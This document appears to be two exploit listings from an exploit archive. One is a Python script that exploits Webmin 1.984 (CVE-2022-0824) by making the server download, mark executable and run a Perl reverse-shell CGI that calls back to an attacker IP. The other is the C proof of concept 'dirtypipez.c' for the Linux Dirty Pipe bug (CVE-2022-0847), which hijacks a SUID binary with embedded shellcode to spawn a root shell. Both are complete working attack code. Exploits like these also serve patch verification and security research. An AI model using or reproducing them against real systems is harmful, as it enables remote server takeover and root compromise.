<pre><code># Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)<br /># Date: 2022-03-06<br /># Exploit Author: faisalfs10x (https://github.com/faisalfs10x)<br /># Vendor Homepage: https://www.webmin.com/<br /># Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip<br /># Version: <= 1.984<br /># Tested on: Ubuntu 18<br /># Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell<br /><br /><br />#!/usr/bin/python3<br /><br />"""<br />Coded by: @faisalfs10x<br />GitHub: https://github.com/faisalfs10x<br />Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/<br />""" <br /><br />import requests<br />import urllib3<br />import argparse<br />import os<br />import time<br /><br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /><br />TGREEN = '\033[32m'<br />TRED = '\033[31m' <br />TCYAN = '\033[36m' <br />TSHELL = '\033[32;1m' <br />ENDC = '\033[m'<br /><br />class Exploit(object):<br /> def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):<br /> self.target = target<br /> self.username = username<br /> self.password = password<br /> self.py3http_server = py3http_server<br /> self.pyhttp_port = pyhttp_port<br /> self.upload_path = upload_path<br /> self.callback_ip = callback_ip<br /> self.callback_port = callback_port<br /> self.fname = fname<br /><br /> #self.proxies = proxies<br /> self.s = requests.Session()<br /><br /><br /> def gen_payload(self):<br /> payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')<br /> print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)<br /> f = open(f"{self.fname}", "w")<br /> f.write(payload)<br /> f.close()<br /><br /> def login(self):<br /> login_url = self.target + "/session_login.cgi"<br /> cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }<br /><br /> data = { 'user' : self.username, 'pass' : self.password }<br /> try:<br /> r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)<br /> success_message = 'System hostname'<br /> if success_message in r.text:<br /> print(TGREEN + "[+] Login Successful", ENDC)<br /> else:<br /> print(TRED +"[-] Login Failed", ENDC)<br /> exit()<br /><br /> except requests.Timeout as e:<br /> print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)<br /> exit()<br /><br /> def pyhttp_server(self):<br /> print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')<br /> os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up<br /> print('[+] Sleep 3 second to ensure http server is up!')<br /> time.sleep(3) # Sleep for 3 seconds to ensure http server is up!<br /><br /> def download_remote_url(self):<br /> download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"<br /> headers = { <br /> "Accept": "application/json, text/javascript, */*; q=0.01", <br /> "Accept-Encoding": "gzip, deflate", <br /> "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", <br /> "X-Requested-With": "XMLHttpRequest", <br /> "Referer": self.target + "/filemin/?xnavigation=1" <br /> }<br /><br /> data = { <br /> 'link': "http://" + self.py3http_server + "/" + self.fname, <br /> 'username': '', <br /> 'password': '', <br /> 'path': self.upload_path <br /> }<br /><br /> r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)<br /> print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")<br /><br /> def modify_permission(self):<br /> modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"<br /> headers = { "Referer": self.target + "/filemin/?xnavigation=1" }<br /> data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }<br /> <br /> r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)<br /> print(f"[+] Modifying permission of {self.fname} to 0755")<br /><br /> def exec_revshell(self):<br /> url = self.target + '/' + self.fname<br /> try:<br /> r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)<br /> except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!<br /> print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)<br /> print("[+] Shell location: " + url)<br /> else:<br /> print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)<br /><br /> def do_cleanup(self):<br /> print(TCYAN + '\n[+] Cleaning up ')<br /> print(f'[+] Killing: http.server on port {self.pyhttp_port}')<br /> os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')<br /> exit()<br /><br /> def run(self):<br /> self.gen_payload()<br /> self.login()<br /> self.pyhttp_server()<br /> self.download_remote_url()<br /> self.modify_permission()<br /> self.exec_revshell()<br /> self.do_cleanup()<br /><br /><br />if __name__ == "__main__":<br /><br /> parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')<br /> parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')<br /> parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')<br /> parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')<br /> parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')<br /> parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')<br /> parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')<br /> args = parser.parse_args()<br /><br /> target = args.target<br /> username = args.credential.split(':')[0]<br /> password = args.credential.split(':')[1]<br /> py3http_server = args.py3http_server<br /> pyhttp_port = py3http_server.split(':')[1]<br /> callback_ip = args.callback_ip<br /> callback_port = args.callback_port<br /> upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method.<br /> fname = "revshell.cgi" # CGI script name, you may change to different name<br /><br /> pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)<br /> pwn.run()<br /> <br /></code></pre>
<pre><code>//<br />// dirtypipez.c<br />//<br />// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn<br />// a root shell. (and attempts to restore the damaged binary as well)<br />//<br />// Wow, Dirty CoW reloaded!<br />//<br />// -- blasty <peter@haxx.in> // 2022-03-07<br /><br />/* SPDX-License-Identifier: GPL-2.0 */<br />/*<br /> * Copyright 2022 CM4all GmbH / IONOS SE<br /> *<br /> * author: Max Kellermann <max.kellermann@ionos.com><br /> *<br /> * Proof-of-concept exploit for the Dirty Pipe<br /> * vulnerability (CVE-2022-0847) caused by an uninitialized<br /> * "pipe_buffer.flags" variable. It demonstrates how to overwrite any<br /> * file contents in the page cache, even if the file is not permitted<br /> * to be written, immutable or on a read-only mount.<br /> *<br /> * This exploit requires Linux 5.8 or later; the code path was made<br /> * reachable by commit f6dd975583bd ("pipe: merge<br /> * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was<br /> * there before, it just provided an easy way to exploit it.<br /> *<br /> * There are two major limitations of this exploit: the offset cannot<br /> * be on a page boundary (it needs to write one byte before the offset<br /> * to add a reference to this page to the pipe), and the write cannot<br /> * cross a page boundary.<br /> *<br /> * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'<br /> *<br /> * Further explanation: https://dirtypipe.cm4all.com/<br /> */<br /><br />#define _GNU_SOURCE<br />#include <unistd.h><br />#include <fcntl.h><br />#include <stdio.h><br />#include <stdlib.h><br />#include <string.h><br />#include <sys/stat.h><br />#include <sys/user.h><br />#include <stdint.h><br /><br />#ifndef PAGE_SIZE<br />#define PAGE_SIZE 4096<br />#endif<br /><br />// small (linux x86_64) ELF file matroshka doll that does;<br />// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);<br />// write(fd, elfcode, elfcode_len)<br />// chmod("/tmp/sh", 04755)<br />// close(fd);<br />// exit(0);<br />//<br />// the dropped ELF simply does:<br />// setuid(0);<br />// setgid(0);<br />// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);<br />unsigned char elfcode[] = {<br /> /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,<br /> 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,<br /> 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,<br /> 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,<br /> 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,<br /> 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,<br /> 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,<br /> 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,<br /> 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,<br /> 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,<br /> 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,<br /> 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,<br /> 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,<br /> 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,<br /> 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,<br /> 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,<br /> 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,<br /> 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,<br /> 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,<br /> 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00<br />};<br /><br />/**<br /> * Create a pipe where all "bufs" on the pipe_inode_info ring have the<br /> * PIPE_BUF_FLAG_CAN_MERGE flag set.<br /> */<br />static void prepare_pipe(int p[2])<br />{<br /> if (pipe(p)) abort();<br /><br /> const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);<br /> static char buffer[4096];<br /><br /> /* fill the pipe completely; each pipe_buffer will now have<br /> the PIPE_BUF_FLAG_CAN_MERGE flag */<br /> for (unsigned r = pipe_size; r > 0;) {<br /> unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;<br /> write(p[1], buffer, n);<br /> r -= n;<br /> }<br /><br /> /* drain the pipe, freeing all pipe_buffer instances (but<br /> leaving the flags initialized) */<br /> for (unsigned r = pipe_size; r > 0;) {<br /> unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;<br /> read(p[0], buffer, n);<br /> r -= n;<br /> }<br /><br /> /* the pipe is now empty, and if somebody adds a new<br /> pipe_buffer without initializing its "flags", the buffer<br /> will be mergeable */<br />}<br /><br />int hax(char *filename, long offset, uint8_t *data, size_t len) {<br /> /* open the input file and validate the specified offset */<br /> const int fd = open(filename, O_RDONLY); // yes, read-only! :-)<br /> if (fd < 0) {<br /> perror("open failed");<br /> return -1;<br /> }<br /><br /> struct stat st;<br /> if (fstat(fd, &st)) {<br /> perror("stat failed");<br /> return -1;<br /> }<br /><br /> /* create the pipe with all flags initialized with<br /> PIPE_BUF_FLAG_CAN_MERGE */<br /> int p[2];<br /> prepare_pipe(p);<br /><br /> /* splice one byte from before the specified offset into the<br /> pipe; this will add a reference to the page cache, but<br /> since copy_page_to_iter_pipe() does not initialize the<br /> "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */<br /> --offset;<br /> ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);<br /> if (nbytes < 0) {<br /> perror("splice failed");<br /> return -1;<br /> }<br /> if (nbytes == 0) {<br /> fprintf(stderr, "short splice\n");<br /> return -1;<br /> }<br /><br /> /* the following write will not create a new pipe_buffer, but<br /> will instead write into the page cache, because of the<br /> PIPE_BUF_FLAG_CAN_MERGE flag */<br /> nbytes = write(p[1], data, len);<br /> if (nbytes < 0) {<br /> perror("write failed");<br /> return -1;<br /> }<br /> if ((size_t)nbytes < len) {<br /> fprintf(stderr, "short write\n");<br /> return -1;<br /> }<br /><br /> close(fd);<br /><br /> return 0;<br />}<br /><br />int main(int argc, char **argv) {<br /> if (argc != 2) {<br /> fprintf(stderr, "Usage: %s SUID\n", argv[0]);<br /> return EXIT_FAILURE;<br /> }<br /><br /> char *path = argv[1];<br /> uint8_t *data = elfcode;<br /><br /> int fd = open(path, O_RDONLY);<br /> uint8_t *orig_bytes = malloc(sizeof(elfcode));<br /> lseek(fd, 1, SEEK_SET);<br /> read(fd, orig_bytes, sizeof(elfcode));<br /> close(fd);<br /><br /> printf("[+] hijacking suid binary..\n");<br /> if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {<br /> printf("[~] failed\n");<br /> return EXIT_FAILURE;<br /> }<br /><br /> printf("[+] dropping suid shell..\n");<br /> system(path);<br /><br /> printf("[+] restoring suid binary..\n");<br /> if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {<br /> printf("[~] failed\n");<br /> return EXIT_FAILURE;<br /> }<br /><br /> printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");<br /> system("/tmp/sh");<br /><br /> return EXIT_SUCCESS;<br />}<br /></code></pre>